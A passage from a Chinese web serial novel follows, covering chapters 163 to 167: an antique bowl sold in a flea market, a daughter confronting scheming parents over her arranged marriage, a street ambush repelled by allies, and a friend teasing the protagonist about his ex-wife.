这次观察得更为仔细。 甚至,还拿过了旁边木质托盘上的放大镜认真一番验证。 时间一点点过去。 赵传志紧皱的眉头始终不曾松开。 “这瑕疵是人为?你有什么证明?” 无意间说出来的一句话,突然让赵传志神情尴尬。 大意了。 话……都说错了。 作为一个懂行的人,决定一件物品价值如何,是要让他们给出决定的。 对于客人所说的那些,也仅供参考。 现在,他竟然问起客人来,这不是自掉身份吗? “咳咳!” 尴尬的咳嗽两声,赵传志讪讪开口。 “几位不好意思,恕我眼拙,这瑕疵,我实在判断不出是否属于人为。” “如果几位有时间,可否稍等片刻,我请家父过来一趟?” 林泽转头看了看沈泰安,眼神里充满询问。 要在这停留或者是继续去下一家,林泽心里也没底。 “那就等一会儿吧,否则,岂不辜负了如此好茶?” 沈泰安神情自若,悠悠开口。 赵传志听闻,脸上立刻露出喜色。 “好,那就麻烦几位稍等,我去去就来。” 笑着起身,随后赵传志又客气地离开。 刚行至走廊,赵传志心中便是一阵紧张。 斗笠碗底的打一块,倘若是正常瑕疵,这东西就值不了多少钱。 可若是人为,价格绝对能翻几十倍! 打从小他就在旧货街上长大,现在人至中年,虽然也能称得上有些眼力,可面对这只磁州窑黑釉酱斑斗笠碗,他还真犹豫了。 为了不错过好货,只能亲自给老父亲打电话。 …… 另外一边。 沈泰安悠悠喝着茶,脸上笑意始终从不曾消失。 这里的茶叶一般,可铺子里的氛围却让人感觉十分惬意。 空气里,似乎都有老物件的醇香。 不远处,老旧桌椅,漆面已经斑驳,边角早已被磨圆润。 甚至,还有几道浓重的划痕。 正是这种自然的旧,更让人移不开眼睛。 墙上几幅书画,边角泛黄。 虽是真迹,但年代不算久远。 作为一个专业的古董鉴定专家,有些物件的真假,沈泰安一眼便能看出。 对面。 林泽并未多言,仿佛也在观察着周围的情形。 “这位小友,冒昧地问一句,您刚才的那个物件,可否让鄙人一瞧?” 一阵脚步声传来。 随即便是一句客套的询问。 林泽抬眸。 对面。 一个五十多岁的男人,正笑眯眯的望着自己。 男人身着棉麻唐装,手中,一条小叶紫檀的手串已盘出浆。 胸前金表的链子,透出隐隐光泽。 光是这身行头,便能让人清楚他的身份。 玩家。 玩老物件的。 这是对于他这个贸然的请求,林泽一时间不知道该怎样回答才好。 按道理说。 他这样做不合规矩。 眼前这桩买卖还没结果,无论成或否,他都不应该过来插一杠子才对。 若是新人,这样问情有可原。 可眼前这人……分明是老行家。 “这……” 眼看林泽神情犹豫,那人急忙开口解释。 “小先生,您放心,这里头的规矩我懂。” “我只看看,什么也不说,保证不抬价不压价。” “不该说的我肯定不说!” 对方说得信誓旦旦,一脸笃定。 “那好。” 说着,林泽将包装好的斗笠碗打开,缓缓放到木桌上。 那人眼睛瞬间一亮。 没来得及坐到座位上,便已经俯身仔细观察起来。 一开始。 林泽也没有太注意。 可看到他接下来的动作,心中也不由得一紧。 这人……一直在看碗底部! 面前这只磁州窑黑釉酱斑斗笠碗,好像对他的吸引力并不大。 这人一直在意的是……碗底部的瑕疵。 时间一点点过去。 那人脸上的神情也愈发紧张。 最后。 收回目光之际,那人嘴角扬起一丝笑容。 正如他刚才所说。 在看这只斗笠碗期间,他一句话也没有说。 只是。 脸上的神情若有所思。 缓缓说道之前的位置,那人郑重看向林泽,“小先生,谢谢了。” “不必客气。” 不过是看上几眼,既不评价,也不发表观点,他这边也没有什么损失。 在这期间。 南希的目光已经不止一次地看向门口处。 刚才。 这铺子里的经理说是去请老爷子,看来,这老爷子还挺难请。 正如此想着。 赵传志突然匆忙赶来。 来到众人面前,他还未站稳身体,便抱歉地开口。 “几位,实在不好意思,家父今日身体不适,恐怕过不来了……” “无妨,我们可以去其他铺子看一下。” 接上话茬的是沈泰安。 起身之际,沈泰安脸上表情依旧淡定自若。 “真是对不住,耽误几位时间了。” 赵传志依旧客气地致歉。 沈泰安却摇摇头。 “赵经理不必愧疚,一物一缘,只能说缘分未到。” 说话时,林泽已经将斗笠碗重新包好。 随后。 几人朝门口走去。 重新来到街边,沈泰安惋惜摇头。 “今日,那老爷子不舒服的可真不是时候,若他得知失去的是什么,恐怕这身体会更加不舒服。” “不着急,沈爷爷,你还没有遇到看上的东西,咱们边走边看。” 这次没有成交。 林泽心中没有太大的失落。 本来,这旧物一条街只逛了一半,万一前面有更精彩的也不一定。 想想刚才赵传志的神情,南希也开始掩嘴轻笑。 “哥,那经理把我们送到门口,显然也是心有不甘。” “在他犹豫之际,缘分便已错过。” 沈泰安转头望着南希说了一句。 “对!老先生所言极是!” 突然冒出的声音让众人一怔。 南希更是吓了一跳,本能地往后退了两步。 重新抬眸,才发现,说话的是刚才那个穿着唐装的人。 此刻。 那人欣喜万分,说话时声音都带着颤抖。 “几位,恕我冒昧,刚才那只磁州窑斗笠碗,咱们能不能商量商量?” “你想要?刚才的瑕疵你也看到了?” 见那人执着,沈泰安突然来了兴趣。 同时。 林泽也将目光重新放在那人身上。 那人郑重点头。 “对,刚才我已经看了个详细,现在一闭上眼睛就是那只斗笠碗,纯粹缘分使然。” 林泽看了看沈泰安,果断开口。 “给个价吧!” “这个怎么样?” 那人并未说多少,而是伸出三根手指一捏。 南希心下一沉。 这个动作她是懂的。 七。 难道这人要给7000? 这也……太少了吧! “有点少哦。” 南希声音不大,小声嘟囔出一句。 “啊,小姑娘不少了,我给出的这个价没人能超得过,70万!这已经是这只碗的最大价值了!” 此话一出,南希瞬间愣住。 这人要给70万。 错愕,紧张,瞬间袭来! 南希懵了。 对面。 林泽眼眸收紧,“你可看好了?” “看好了,就它了,如果小先生同意,咱们现在就一手交钱一手交货!” 没等林泽冷静下来,那人已经掏出手机,像是就等着要林泽的账号。 林泽看看沈泰安脸上的神情,当即同意。 接下来。 一切顺利。 林泽卡上到账70万。 那人也将磁州窑黑釉酱般斗笠碗揣入怀中。 一切尘埃落定。 林泽刚要转身,那人突然又上前一步。 “小先生,咱们相识一场,也算是朋友了,可否留个联系方式?” “这,怕是没必要。” 林泽拒绝。 那人一怔,随即掏出一张名片。 “那,小先生留下我个电话吧,若您手上以后再有什么老物件,别忘了联系。” 对方热情地将名片递过来。 林泽只好接过。 目光刚扫过名片,瞬间又是一愣。 “你姓唐?唐家的钱?” “哦,鄙人姓唐,若说是唐家的钱,也未尝不可。” 气氛一下子僵住。 …… 唐家别墅。 “啪嗒——” 手中青花瓷碗落下之际,唐英豪声音随即传出。 “怎么?唐家的钱不是钱?” 第164章 我是抱来的,还是捡来的? “爸,我不是那个意思。” 唐若涵眉头紧蹙,紧跟着放下碗筷,“现在,闪创不需要这么多资金投入。” 五千万,那可是半个亿! 俗话说无功不受禄,父母如此做法,唐若涵感觉到心慌。 当初,闪创刚刚成立时,资金周转不开,即便自己向他们开口,他们也没有像如今这么大的手笔。 这会儿好好的,他们竟然掏出一大笔钱来给自己。 这钱,接得烫手! “你这孩子,态度怎么这么坚决,是不是高兴坏了?” 唐若涵想把话说得更加详细一些。 这时。 唐英豪再次开口。 “小涵,最近家里发生了很多事情,我们的意见也有些不统一,但不管怎么说,咱们终究是一家人,哪有记仇的道理?” “当初你开公司,我是反对的,我承认,在你最困难的时候,我也没帮过什么忙。” “但现在不一样,我们看到了你的努力以及成就,我们支持你。” “所以,这钱你收着。” 最后一句话,唐英豪很郑重,脸上的神情也多了一丝严肃。 唐若涵脸上神情有所缓和,心里顿时感觉暖暖的。 父母是关心自己的,当时他们袖手旁观,只是在生自己的气。 现在父亲能够说出这番话来,比什么都暖心。 “爸,妈,钱你们收着吧,我真的不需要,你能够认可我,就已经是对我最大的支持。” 唐若涵声音轻柔,嘴角也扬起弧度。 周美珊听完,当场摇头。 “都是一家人,干嘛分得那么清?我们的钱不就是你的吗,口头上的支持那是空头支票,只有钱才是最实在的!” 说着。 周美珊伸手,把面前的支票推到唐若涵面前。 望着面前的支票,唐若涵一阵犹豫。 拿,还是不拿? 不知道为什么。 唐若涵心里有些发慌,总觉得还有什么不好的事情在后头等着。 如此一想。 桌子上的支票仿佛也成了铺垫。 “爸妈,你们仅仅是为了给我钱,还是有其他的要求?” 冷静下来以后,唐若涵重新抬头看向面前二人。 果然。 此话一出。 周美珊首先尴尬起来。 “还能有什么要求,看你都把我们想成什么样了,别说是没有要求了,就算是让你办点什么,也不会让你太为难,这也是……可以的吧?” 周美珊的话说得磕磕绊绊,甚至有些语无伦次。 唐若涵身体向后移,后背直接靠在椅子上,眼眸当中的深意也越来越浓。 一块生活这么多年,自己还真没有想错他们。 几秒钟前。 她当真感动了一番,甚至差一点就把支票收下来了。 若真是那样,那她被骗的次数,就能再加一。 他们的爱,是有条件的。 三年前,他们拿吴庸做要挟,逼迫自己跟林泽结婚。 前几天。 他们又提到吴庸。 目的是想要跟林泽老家的旧房子置换。 唐若涵疲惫地抚了一下额头,柳眉再次蹙紧。 “出这么大一笔钱,你们想让我干什么?” 看到唐若涵脸上的神情不对,周美珊赶紧打圆场。 “你这孩子,怎么讲话的?看你说的,就像我们让你拿钱办事一样。” “不是吗?” 唐若涵冰冷的声音传出,眼眸也顺着垂下。 周美珊搓搓手,讪讪道:“就让你说几句话,又不为难你,干嘛把事情说得那么尴尬?” “说什么?” 唐英豪猛地起身,眼神当中带着愠怒。 “跟你说几句话,你还趾高气扬起来了,谁给你的底气?听听你问的这几句话,有一点对我们的尊重吗?” “这笔钱有两层意思,一是我们真的想帮你,二是,想让你跟林泽联系一下,再问问他房子的事情。” “事情就这么简单,还让你把我们想成敌人了!” 唐若涵无语地叹气。 “第二层意思才是最重要的是吧?” 周美珊倒吸一口凉气,“都有,两层意思都是发自我们内心的。” 唐若涵把支票推回去,语气越发凝重。 “既然你们说起了房子的事,那我有个问题,希望你能回答我。” “你们为什么会对林泽的房子念念不忘?” “要房子这件事情我已经听过很多次了。” “你们把事情说清楚,我才能决定要不要帮你们联系林泽。” 面对唐若涵的目光,周美珊瞬间愣住,人都懵了。 支票被推回来。 唐若涵只想知道真相? 她是不是拎不清? 在周美珊看来。 放眼全天下,没有谁是不爱钱的。 唐若涵是闪创影视传媒的总裁,这几年也见了不少世面,眼下这五千万的价值,她不可能估量不出来。 虽然这钱像是从肋条上扒下来的,可她还得装作什么事都没发生过,还得笑眯眯地劝唐若涵接下。 不然。 后续计划怎么进行? “别问那么多,把钱收下,我们让你怎么做你就怎么做就行了。” “我要知道答案。”唐若涵依旧一脸倔强。 “钱你也不要了?” “可以不要。” 唐若涵的声音落了以后,整个客厅瞬间静下来。 气氛也在悄悄改变。 “唐若涵,你最近是怎么回事?为什么老是在忤逆我们?话已经说得非常明白了,我们是为了唐家的颜面!” 说完,唐英豪又咆哮着补充一句。 “别忘了,你也姓唐!” 唐若涵手握成拳,指尖也在逐渐变白。 到了这个时候,他们还想着敷衍过去? 真把自己当成三岁小孩子了吗? “爸妈,如果你们真把我当做亲生女儿,就应该告诉我真相,而不是一味地瞒着我。” 此刻。 周美珊已经失去了耐心。 面对唐若涵的步步紧逼,周美珊眉头皱成一个疙瘩。 一对黄金流苏耳饰,也跟着抖个不停。 “小涵,你为什么不相信我们?林泽糊涂,你也糊涂吗?他老家那破房子才值几个钱,他早晚会后悔!” “今天,话既然已经说到台面上,我也不妨告诉你,那房子我是要定了!” “不管用什么办法,我就要那个房子!” 周美珊控制不住情绪,一张口就停不下来。 情急之下。 大有撒泼耍赖的意味。 唐若涵的眉头皱得更紧,精致面孔上全是疑惑。 “你们住的别墅还有那么多套房子,干吗非得盯着林泽的?” “有你们给我的这五千万,你们从哪买房子不行?” “我不,为了房子我才让林泽跟你结婚,现在离婚了,房子……” 周美珊呼吸急促,还想要接着说什么,唐英豪突然大喊一声。 “行了,还没完没了了!不就是做了个梦吗,至于这么不依不饶?以前也没见你这么虔诚过!” 唐英豪背着唐若涵,对着周美珊大吼。 同时。 眼睛还不停地眨巴。 看到老公如此大幅度的动作,周美珊瞬间冷静下来。 天哪! 刚才胡言乱语地说了些什么? 使劲地咽了一口口水,周美珊上前一步来到唐若涵的面前,心一下子沉入谷底。 “小涵,我刚才是被气坏了,你就别让我着急了,你把钱拿着,然后联系林泽,行不行?” 唐若涵四肢无力,浑身的血液仿佛都停止流动。 耳朵边上。 一直响着刚才周美珊说的那番话。 三年前,他们是用尽手段让自己跟林泽结婚,竟然是为了他老家的房子? 怎么会是这样? 不是说,林泽人品好,嫁给他会很幸福吗? 还有。 他们不止一次地告诉自己,这么做的原因,完全是出于对她以后的考虑。 怎么现在成了房子了? 这件事情,林泽知不知道? 唐若涵思绪乱成一团,指尖也在慢慢变凉。 “你倒是说句话呀,行还是不行?”周美珊再次催促。 “那你们先说,那房子里究竟有什么秘密,值得你们做这么长远的计划?甚至把我都当成了筹码?” 此刻。 唐若涵目光当中已经没有了探究,而是直白的质问。 周美珊目瞪口呆,早已经不知道该如何圆场。 抬头迎上唐若涵的眼神,心仿佛让什么戳了一下子。 为了掩饰内心波动,周美珊只好在脸上挤出一丝笑容。 “什么计划跟筹码,刚才不是跟你说了吗,我就是做了个梦……” “呵呵,三年前就开始做同样的梦了吗?” 周美珊被怼得哑口无言,脸涨得通红。 突然。 “砰”的一声! 唐英豪将面前的碗摔成两半。 “唐若涵,你没有资格质问我们,我们不欠你的!” 唐若涵再也压制不住内心的怒火,当场仰起头。 “那你们凭什么这么对我?” “我欠谁的!” “为了一个破房子,把女儿的幸福都搭进去,有你们这样做父母的吗?” “还是说,我是捡来的,抱来的?!” 唐若涵眼神冰冷至极,最后一句,绝望到极点。 周美珊脸色瞬间大变! “小涵,你……怎么会这么想?” 第165章 亏心事做多了,小心报应! 周美珊想强做镇定,可身体早已经抖个不停。 再要开口说什么,周美珊已经完全没有思绪。 无奈之下,只好跟唐英豪交换眼神。 “唐若涵,你可真是翅膀硬了,别的本事没学到,伤父母的心倒是一绝!” 唐英豪一脸愠怒,声音却冷得可怕。 对面。 唐若涵拳头再次攥紧,整个人接近崩溃。 之前所有的认定都被打翻,现实给她撕了一个血淋淋的口子。 “不要再面前唱双簧了,以后你们休想道德绑架我!” “口口声声说着为我好,到头来一切都是幌子!” “这一切都是假的,都是精心设计的!” “我没有你们这样的父母,天底下,没有父母是这样对待儿女的!” 唐若涵拼命嘶吼。 看向面前的父母,确实感觉越来越陌生。 “够了!” 唐英豪大声咆哮,眼里的怒火几乎要喷出来。 “哗啦!” 桌面被掀翻,地上瞬间一片狼藉! “这团圆饭,不吃也罢!养了一只喂不熟的白眼狼,算我倒霉!” “滚,马上滚!” 唐若涵看看一地的残羹汤汁,抬眼直视唐英豪的目光。 “房子的事情,我会查!” 甩下这几个字,唐若涵一把抓起外套,大步走向门口。 “砰!” 巨大关门声传出。 周美珊一下子坐在地上,脸上再无半点血色,浑身的力气像是被抽干一样。 唐若涵的话像一记重锤,狠狠地砸在她的心上。 今天的场面,是她从来不曾想到的。 做了那么多铺垫,竟然迎来了一个这样的结果。 “老唐,怎么办?她……” 周美珊不知道该怎么继续往下说,眼神里剩下的只有恐惧。 唐英豪额头上青筋暴起,压抑的怒火随时都要喷发。 眼下。 所有一切都偏离了轨道,就连谋算已久的计划也出了差错。 他怎能不慌? 突然。 耳朵边上传来周美珊的哭泣声。 唐英豪更加心烦意乱。 “哭,你就知道哭,除了哭你还能干什么?” “成事不足,败事有余的东西!” “唐若涵不是傻子,你有多少事情经得住她查得?” “以后管好你那张破嘴!” 被唐英豪如此严厉的指责,周美珊瞬间忘记哭泣,当场起身辩驳。 “说到底,这件事情都怪你,如果当初听我的,也不会成为这样!” “哼!好好的非要做什么补充计划,现在听你的了?唐若涵要亲自查了,她若把当年的事情查出来,看你能不能兜得住!” 唐英豪声音低沉,一对眼睛死死地盯着周美珊。 往后退了两步,周美珊嘴角的笑容越发绝望。 “那就查好了,最好把当年你的那些破事全都查出来,让她也知道,曾经她引以为傲的父亲是怎样在红月楼……” “啪!” 唐英豪的巴掌打在周美珊脸上! 空气瞬间寂静。 只有清脆的巴掌声在回响。 周美珊缓缓从地上站起来,喉咙一阵腥甜。 抬手擦了一下嘴角,再次开口,如同换了一个人。 “唐英豪,亏心事做多了,早晚会有报应!” 说完这句。 周美珊挺直腰杆,径自上楼。 “哒——” “哒——” “哒——” 高跟鞋踏在木地板上的声响,如同道道惊雷。 唐英豪彻底慌了。 …… 坐在车上。 唐若涵面无血色。 即便已经调了车内的温度,可身体依旧抖个不停。 心中那道由信任建起来的堡垒轰然倒塌。 多年的信念和执着,仿佛也在顷刻间荡然无存。 直到现在。 唐若涵都不愿相信,当初父母逼她跟林泽结婚,竟然是为了林泽老家的房子! 可悲的是,她竟然一次又一次地相信他们所说的话。 三年里。 她毫不掩饰对林泽的厌恶和嫌弃。 是因为在她心里,林泽见钱眼开,为了能抱上唐家的大腿,林泽不择手段。 像这样的人,根本不配看到她的好脸色。 可事实完全相反。 父母才是这一切的始作俑者。 林泽是无辜的,跟自己一样,他也是被算计的那一个! 房子的谜团越来越重。 与此同时。 唐若涵心中的愧疚几乎让她无法呼吸。 甚至,她有些理解林泽了。 这三年,他是怎样熬过来的? 怪不得快要离婚的时候,林泽脸上没有丝毫不舍,因为他也在盼望着这一天的到来! “怎么会是这样……” 唐若涵嗓子里像是被堵了什么东西,嘶哑的声音传出,她自己也被吓了一跳。 眼下的事实完全颠覆了她的认知。 父母的做法更是让人心寒至极。 原来,为了达到目的不择手段,处心积虑算计的人是他们。 他们在三年以前就开始布局了! 到底是为什么? 唐若涵紧握手机,指尖也在发白。 一番犹豫过后,终于拨通林泽的电话。 听着耳边传来的铃声,想到一会儿会传来林泽的声音,她竟然莫名的紧张起来。 “你好,唐总,有什么事吗?” 唐若涵的心猛地收紧,声音当中透露着一丝不自然。 “我问一下,方糖放在哪里?” “进厨房向左拐,第二排橱柜,第三个柜子的方形储物罐中,上面有方糖的标签。” 林泽声音沉稳,说出的话平静严谨。 “好的,我找找看,先挂了。” 迅速挂断电话,唐若涵深吸一口气。 手机里已经没有任何声音,可她的手却没有放开。 这通电话打得毫无意义。 本来。 唐若涵想告诉林泽,是自己误会了,不应该把他想得那样不堪。 可听到林泽声音的时候,只有到了嘴边的话都说不出口了。 三年的冷言冷语,明嘲暗讽,哪里是一句道歉的话就能解决的? 只怕这话说出来以后,林泽也不会原谅自己。 唐若涵突然觉得好笑。 伤害的事情都已经做了,最后说一句,我不是故意的,我是好人,有人会信吗? 缓缓靠在沙发上,唐若涵眯起眼睛。 那当中闪过的,是三年里的一幕幕。 放下心中的芥蒂,再次想到林泽,唐若涵心中愧疚更盛。 …… 整整一个晚上。 除了林泽接了一通电话以外,其他时间,三个人都在“捡漏”。 功夫不负有心人。 到凌晨三点时。 沈泰安和南希脸上也露出满意的笑容。 南希小心翼翼地攥着一块玉佩,宝贝得不得了。 而沈泰安也逃到了他自认为价值相等的老物件。 一块年代久远的砚台,一幅字画,还有一只“鞋蹬子”,有的地方也叫“鞋拔子。” “今天收获不错,多亏了爷爷的手电筒,要是换做平常的手电,我肯定淘不到这一块玉。” 南希精致的小脸上满是兴奋。 一边感激地看向沈泰安,一边又摸了摸手中的玉佩。 不等其他人开口,南希又自顾自地说起来。 “其实,我还是喜欢铜钱,不知道为什么,看到那种斑驳泛旧的铜钱,我总有一种异样的感觉,暖暖的,还舍不得……” 南希柳眉皱起,喃喃自语的同时又思索起来。 林泽抬眸,望着面前的南希,心中却升起一丝苦涩。 以前在孤儿院的时候。 洛洛也经常说,喜欢那种圆圆的小薄片。 等有时间了,一定要再去一趟孤儿院,虽然希望渺茫,可万一查到什么线索呢? 坚定心中想法以后,林泽转头看向沈泰安。 “沈爷爷,时候不早了,咱们什么时候回去?您的身体刚好,可不能这样劳累。” 林泽刚刚问完。 沈泰安意犹未尽的声音便传出来。 “我的身体没事,还能再转一会儿。” “爷爷,林泽说得没错,您早点回去养精蓄锐,哪天有了好玩的,您还能带着我们出来,万一这一次回去以后您被累到,那姑父肯定不会再轻易让咱们出门了。” 沈泰安停下脚步。 细想一下,觉得南希说得也有道理。 “行,就听你们两个小娃娃的,咱们现在就往回走!” 沈泰安神情释然。 今晚不是没有收获。 人不能太贪。 凡事留点念想,才是最好的结局。 沈泰安抬脚,转身。 林泽和南希像刚才一样,一人在左一人在右。 突然! “嘎吱——” 尖锐的刹车声传出。 一辆面包车突然停在他的面前。 车刚停稳,车门迅速打开。 三人还没有反应过来,车里已经跳出四五个年轻人! 那些人身着黑色西装,手里还拿着家伙。 唯一能看清楚的,便是个个膀圆腰粗。 林泽眼睛突然眯成一道缝。 这些人。 一看就是练过的! 像是商量好了一般。 面前几个人站好之际,林泽跟南希同时将沈泰安挡在身后! 为首的高个子打量了一下林泽,声音低沉。 “你是林泽?” “我是林泽,你们是谁?” 林泽面不改色,心中再次警惕起来。 第166章 这女的,八成要吃回头草! 对面大汉没有回答林泽的问题,而是低头看向手里的棒球棍。 剩下几个人,全都面色不善。 在问话的同时。 林泽脑子里已经闪过好几个想法。 堵在面前的这些人,究竟是何来意? 他们是吴庸的人,还是半路上尾随过来的? 见对方不说话,林泽再次开口。 “你们若是找我,我单独跟你们走,让他们离开。” “如果是为钱,你们更不必动手,我现在就把钱都给你们。” 两句话说出来。 目的非常明确。 不管对方怎么选择,都是让沈泰安和南希走。 而林泽心中也的确是这样想的。 那斗笠碗,捡漏又出手,这钱本来就像是白捡的。 再流出去,顶多当成是这件事情没有发生过。 如果对方的目标是对付自己,那更没有必要把沈老爷子和南希都搭上。 谁知。 林泽刚刚把话说完,对方突然冷笑一声。 拿起棒球棍在手掌中心拍了拍,突然说道:“小子,别总想好事,你们三个,今天谁也跑不了!” “得罪了不该得罪的人,自然要吃些苦头。” 说着,那人看向身边的同伴。 “都别愣着了,招呼!” 此话一出。 剩下的几个人蜂拥而上。 林泽眉头紧皱,一下子挡在南希身前。 这样一来。 两个人再一次把沈泰安保护得死死的。 “林泽,这些人手里有家伙!” 南希声音紧张,听着小脸上满是慌张。 “我把他们拖住,一会儿看准机会,你带着老爷子走!” “不行,那你怎么办?” 南希刚把话问出来,已经有一个人冲到林泽面前。 没等那人动手。 林泽抢先一步抬脚,找准对方胯下,狠狠踢出去! “啊!” 撕心裂肺的叫声传出,那人瞬间倒地! 眼看着同伴在地上蜷缩得像只虾米,其他人瞬间震惊不已。 为首的那人,眉头更是拧成一团。 什么状况? 不是说情况非常好处理吗? 一个小姑娘,一个老头,剩下的一个年轻人还是手无缚鸡之力。 怎么现在自己的人反倒被踢趴下了? “给我找准了打!” 咬牙切齿之际,为首的人再次高喊一声。 这时。 剩下的几个人再也顾不了那么多,同时举着棒球棒冲过来。 林泽弯腰,迅速捡起一根棒球棒,直接迎上去。 没有招式,没有路数。 此刻,林泽的脑子里只有一个想法。 不能让他们靠近南希和沈泰安。 所以,他拿着棒球棍拼命地挥舞。 看到这种状况,对面的几个人反而不敢靠近了。 可这并不是解决之道。 林泽清楚,一旦对方分散开来,他们绝对吃亏。 而且。 这种大幅度的挥棍子的动作,他也持续不了多久。 半分钟没过,他已经开始喘粗气。 突然。 林泽目光又看向不远处。 十几米开外。 正有一辆商务车急冲过来。 完了! 眼前这几个人都没有办法解决,现在对方又来了救兵,这次可以栽在这里不成! “别管我,南希你带着老爷子快跑,有多远跑多远!” “我不!” 南希一脸坚决,不但没有往后退,反而又上前一步,跟林泽并在一块儿了! 林泽无语。 现在哪是逞英雄的时候? 这会儿多犟,一会儿就多狼狈。 眨眼功夫。 商务车已经冲过来,并且稳稳停下。 对面几个人见状,也都停下手上的动作,纷纷看向商务车。 林泽深吸一口气,用棒球棍拄着地面,迅速缓神。 车门刚一打开。 旁边的南希突然猛冲过去。 “南希,回来!” 林泽大惊失色,还没等抬脚往前追,南希兴奋的声音突然传出。 “姑父,你可来了!” 姑父? 沈平韵? 想到这点,林泽瞬间大喜,刚刚提到嗓子眼儿上的心突然又放回到原处。 沈平韵来了,他们就有救了! “怎么样?你们没事吧?阿顺,解决!” 沈平韵声音低沉,语气当中满是不容置疑。 此话一出。 车里立刻跳下一帮人,瞬间将刚才的几个人围住! 一个中年男子抬手,手指轻轻一勾。 接着便是噼里啪啦的打斗声。 撕心裂肺的惨叫声也不绝于耳…… 林泽转身扶住沈泰安,一点歉意。 “沈爷爷,真对不住,让你受惊了。” 沈泰安声音反倒非常平稳。 “无妨,这种事情我见多了,倒是你,一直冲在前面,你当真不怕?” 林泽无语的笑笑,“怎么不怕?我不会功夫,手上又没家伙,根本没办法跟他们硬抗。” “那刚才听你说话还蛮自信的!” “那是被逼无奈,都已经到这个份上了,仰着头也是面对,认怂也是面对,干嘛不选择前者?” 沈泰安一听,神情一怔。 也对。 这话说得蛮有冲劲的。 总是躲不过,马上被人小看了去? 仔细看看林泽的神情,再想想刚才他那股子冲劲,沈泰安仿佛看到了年轻时候的自己。 再次看向林泽时,目光当中,自然又多了欣慰之色。 这时。 沈平韵已经带着南希来到跟前。 “父亲,您没事儿吧?” “没事,有林泽在,不会有事!” 沈泰安提高声音,语气当中满是自豪。 林泽却悄悄低下头。 这顶帽子,老爷子给自己戴得太高了。 如果不是沈平韵及时出现,现在还不知道是什么状况! 几分钟后。 拿着棒球棍的几个人被打得趴在地上动弹不得。 眼看着他们进气少出气多。 沈平韵这才让人停手。 “林泽,既然你也不清楚这些人的身份,那,把人交给我怎么样?” “当然可以。” 林泽痛快答应。 反正自己又不认识他们,后续这些人被怎么处置,是生是死跟自己有何关系? 他不是救苦救难的观世音菩萨。 眼下,他只想跟爷爷平静地活着,那些大爱无疆,广撒爱心的事情,他顾及不到。 接下来。 沈平韵让人把那几个人扔到商务车上。 沈泰安则是带着南希跟林泽坐上了来时的车。 凌晨五点。 林泽回到住处。 简单洗漱一番,便躺在床上沉沉睡去。 这一次。 一觉睡到天亮。 睡梦当中,竟然没有进入那所档案库。 …… “你说什么,一个碗,你倒了到手,就挣了将近70万!老林你可以啊,这他妈这比抢钱还快!” “什么地方啊?你怎么提前没跟我说过?” “不行不行,下次遇到这么刺激的事情,你得带上我!” 张军越说越兴奋,声音一句大过一句。 林泽一直靠在沙发上笑。 偶尔会喝一口面前的豆浆。 乳白色的豆浆热气腾腾,香味扑鼻,喝下去胃里暖乎乎的。 旁边,金黄色的油条,几块淡绿色的方形榨菜芯,整整齐齐地摆在盘子里。 想象着林泽说的刺激的场面,张军越发的懊悔。 夹起面前的油条,一口咬了半根。 刚咽下去,又迫不及待地指责。 “老林,你不行啊?怎么能吃独食?” “不是吃独食,我也没有想到会有这样的事情,捡了漏,遇了劫,最后还平安无事。” 说到这里,林泽顿了顿,脸上的神情再一次变得郑重。 “还好沈家的人及时赶到,不然,沈老爷子真出什么事情,我都没法交代了。” 张军眼睛一瞪,胸脯挺得高高的。 “所以啊,下次再有这样的事情,你叫上我,好歹哥们还会两下子,怎么着也不至于让你们吃亏。” “行,等再有机会,肯定带你一块过去,不过你可不能穿警服,不然半道街的人都得被你吓跑。” 张军眨巴着眼睛,仔细琢磨了一下林泽说的话,立即咧开嘴笑起来。 “知道,知道,我就装成一个什么都不懂的,咱也逛逛所谓的鬼市。” 说道自己没有涉及过的领域,张军兴奋得像个小孩子。 又聊了一会儿以后。 张军问起林泽接下来的打算。 “目前没有什么打算,还是以爷爷的身体为主。” “长远一点的呢?” 被张军这样问,林泽眉头再次陷入沉思。 在唐家的那三年,他不敢做任何计划。 因为,那三年是卖给唐家的。 现在离婚了,时间可以自由安排了,林泽不由得又想起之前的事情。 照顾爷爷,寻找洛洛,这一直是他的目标。 “张军,有时间了,我想再次去一趟孤儿院,看看能不能打听出什么线索来。” 林泽声音沉重,表情严肃,跟刚才的状态截然不同。 “还要找那个小丫头啊?现在孤儿院是重建的,那场大火几乎把之前的东西都烧没了,还有去的必要吗?” “我想试试。” 林泽说话的声音并不大,可是,语气当中却满是坚定。 张军点头。 “也好,什么时候想去了叫上我,我跟你一起去。” “行。” 两个人正说着话。 林泽的手机突然亮起来,紧接着便是一阵铃声。 “接电话,接电话。” 张军指指茶几上的手机,接着端起豆浆,猛地喝了一大口。 放下豆浆之际,眼睛瞬间瞪圆! 一口豆浆含在嘴里。 差一点喷出来! 林泽手机屏幕上,显示的备注竟然是“唐总”! 唐若涵? 迅速咽下豆浆,张军掖的脖子都直了。 “不是老林,几个意思啊,你不是跟那女的离婚了吗,她怎么又打过电话来了?” “草!这是余情未了啊!” 抬手抹了一下嘴角,张军直直地望着林泽。 对面。 林泽怔住。 唐若涵又打电话过来了? 不过。 惊讶之余,林泽很快又缓过神。 “别多想,肯定又是有什么东西不知道放在什么地方了。” 林泽回答得非常自然。 可张军的嘴已经撇成八万。 “这种借口,也就你能信,我看,她就是想方设法地接近你!” “这么说吧,她八成是觉得跟你离婚后悔了。” “可别怪我没提醒你,这女的,八成要吃回头草!” 第167章 连衣裙变睡衣。 林泽看看手机屏幕,又抬眼看向张军,神情无语至极。 他跟唐若涵之间本来就没有感情,即便提交离婚申请也是很正常的事。 要说唐若涵后悔离婚,根本不存在,更不可能有要吃回头草那一说。 为了让张军相信。 林泽按下接听键以后,紧接着又打开扬声器。 “你好,唐总,有什么事吗?” 唐若涵不喜欢进厨房。 林泽猜测。 在这几天里,所有的调料以及厨房用具,应该都还摆放在先前的位置。 所以,林泽在问话的同时,已经做好了回答问题的准备。 “林泽,你什么时候有时间,我们能见一面吗?”说到这里,唐若涵顿了顿,“或者,你告诉我你的地址,我去找你也可以。” 林泽:“……” 情况有些不对劲。 跟当初想的不一样。 唐若涵并没有问调料放在哪里,而是要来找他。 愣神之际。 对面的张军已经仰起头。 眼神里的意思再明显不过,仿佛在问,看到没有?我猜得没错吧? 林泽眉头微皱。 “唐总,您有什么事吗?” “之前的事情,我想当面向你道歉,林泽,我们之间有些误会,我希望你能原谅我。” 电话那端。 唐若涵语气真诚,再也没有了之前的冰冷疏离。 甚至,还带了一丝期望。 “唐总,以前的事情过去就过去了,您不必向我道歉,原谅更谈不上。” 